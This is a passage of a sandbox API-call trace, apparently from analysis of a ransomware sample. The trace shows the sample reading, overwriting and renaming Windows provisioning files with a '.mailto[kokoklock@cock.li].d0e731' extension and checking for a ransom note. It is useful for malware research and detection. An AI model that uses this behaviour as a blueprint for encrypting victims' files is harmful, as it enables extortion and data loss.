_Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.898] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.898] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d98b0) returned 1 [0087.898] RtlExitUserThread (Status=0x1) Thread: id = 1385 os_tid = 0x1440 [0087.899] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.899] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.900] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.900] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3013f9f8 | out: lpFileSize=0x3013f9f8*=645) returned 1 [0087.900] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x281, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.900] ReadFile (in: hFile=0x3d0, lpBuffer=0x3013f9cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3013f9cc*, lpNumberOfBytesRead=0x3013f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.901] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc818 [0087.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc688 [0087.901] NtQuerySystemTime (in: CurrentTime=0x3013f9a4 | out: CurrentTime=0x3013f9a4*=132121176457975685) returned 0x0 [0087.901] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x7467c54a [0087.901] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xe0d84abc [0087.901] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x4f6ad047 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xf25b5d92 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x7b7a96b5 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xd5ad0b96 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x57fb6dbe [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xf4816b09 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x220cdefa [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x7b40bbbe [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x23aa0dbc [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xe589188b [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x4fbc9962 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xf74666ba [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x7b403ff9 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xdb2d5dbf [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x6087a465 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xea554ec6 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xf772f59f [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xbf079f2 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x6a90bc05 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x8caa2e0b [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x2119e106 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x276ef8c5 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x5c143ed7 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x85a0301f [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xec105125 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x1654c106 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0xef800879 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x859bbbe2 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x2ca242c2 [0087.902] RtlRandom (in: Seed=0x3013f9b0 | out: Seed=0x3013f9b0) returned 0x2b2b06ab [0087.913] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x3013f9a4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x3013f9a4*=0x285, lpOverlapped=0x0) returned 1 [0087.913] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3013f96c | out: lpNewFilePointer=0x0) returned 1 [0087.913] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x3013f9a0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x3013f9a0*=0x285, lpOverlapped=0x0) returned 1 [0087.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0087.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3013f99c, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x3013f99c*=0x20, lpOverlapped=0x0) returned 1 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x3013f9c8*=0x8, lpOverlapped=0x0) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x3013f9e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3013f9e0*, lpNumberOfBytesWritten=0x3013f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3013f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3013f9c8*=0x6c, lpOverlapped=0x0) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x3013f9c8*=0x20, lpOverlapped=0x0) returned 1 [0087.914] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3013f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3013f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.915] CloseHandle (hObject=0x3d0) returned 1 [0087.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18a) returned 0x33fc9c8 [0087.915] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" [0087.915] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.915] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.916] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.916] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.916] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8080) returned 1 [0087.916] RtlExitUserThread (Status=0x1) Thread: id = 1387 os_tid = 0x1444 [0088.525] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0088.526] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.526] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x301bf768 | out: lpFileSize=0x301bf768*=726) returned 1 [0088.526] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x2d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.526] ReadFile (in: hFile=0x62c, lpBuffer=0x301bf73c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x301bf73c*, lpNumberOfBytesRead=0x301bf738*=0x4, lpOverlapped=0x0) returned 1 [0088.528] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc778 [0088.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc818 [0088.528] NtQuerySystemTime (in: CurrentTime=0x301bf714 | out: CurrentTime=0x301bf714*=132121176464285985) returned 0x0 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x3a1b9aa1 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x33a789d2 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x649a8e0d [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xd2eb4549 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x31a5f4b8 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xf10dfe3 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x5beb2382 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x83620af0 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x4788ca12 [0088.528] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xe502785c [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xf8426fb7 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x7cef26da [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xf46d14e [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xe07f0fdc [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x7a5e3a6e [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x796575f7 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x8910fece [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x8d599ab9 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xaa9bc787 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x40c7f86c [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xc031a3a6 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x293ee62d [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x1d5d34d9 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xd0ae320 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x1099184b [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x6abdb935 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x6fe34729 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0xb4e2d7a2 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x896db95c [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x4f059d9b [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x73d8d733 [0088.529] RtlRandom (in: Seed=0x301bf720 | out: Seed=0x301bf720) returned 0x2f2e0680 [0088.543] ReadFile (in: hFile=0x62c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x301bf714, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x301bf714*=0x2d6, lpOverlapped=0x0) returned 1 [0088.543] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301bf6dc | out: lpNewFilePointer=0x0) returned 1 [0088.543] WriteFile (in: hFile=0x62c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d6, lpNumberOfBytesWritten=0x301bf710, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x301bf710*=0x2d6, lpOverlapped=0x0) returned 1 [0088.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x301bf70c, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x301bf70c*=0x20, lpOverlapped=0x0) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9f40) returned 1 [0088.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x301bf738*=0x8, lpOverlapped=0x0) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x301bf750*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x301bf750*, lpNumberOfBytesWritten=0x301bf738*=0x4, lpOverlapped=0x0) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x301bf738*=0x4, lpOverlapped=0x0) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x301bf738*=0x6c, lpOverlapped=0x0) returned 1 [0088.544] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x55dc778*, lpNumberOfBytesWritten=0x301bf738*=0x20, lpOverlapped=0x0) returned 1 [0088.545] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x301bf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x301bf738*=0x4, lpOverlapped=0x0) returned 1 [0088.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc778) returned 1 [0088.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc840) returned 1 [0088.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0088.545] CloseHandle (hObject=0x62c) returned 1 [0088.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x198) returned 0x341de08 [0088.545] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" [0088.545] wcscat (in: _Dest=0x341de08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.545] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.546] SetFileAttributesW (lpFileName="C:\\Users\\All 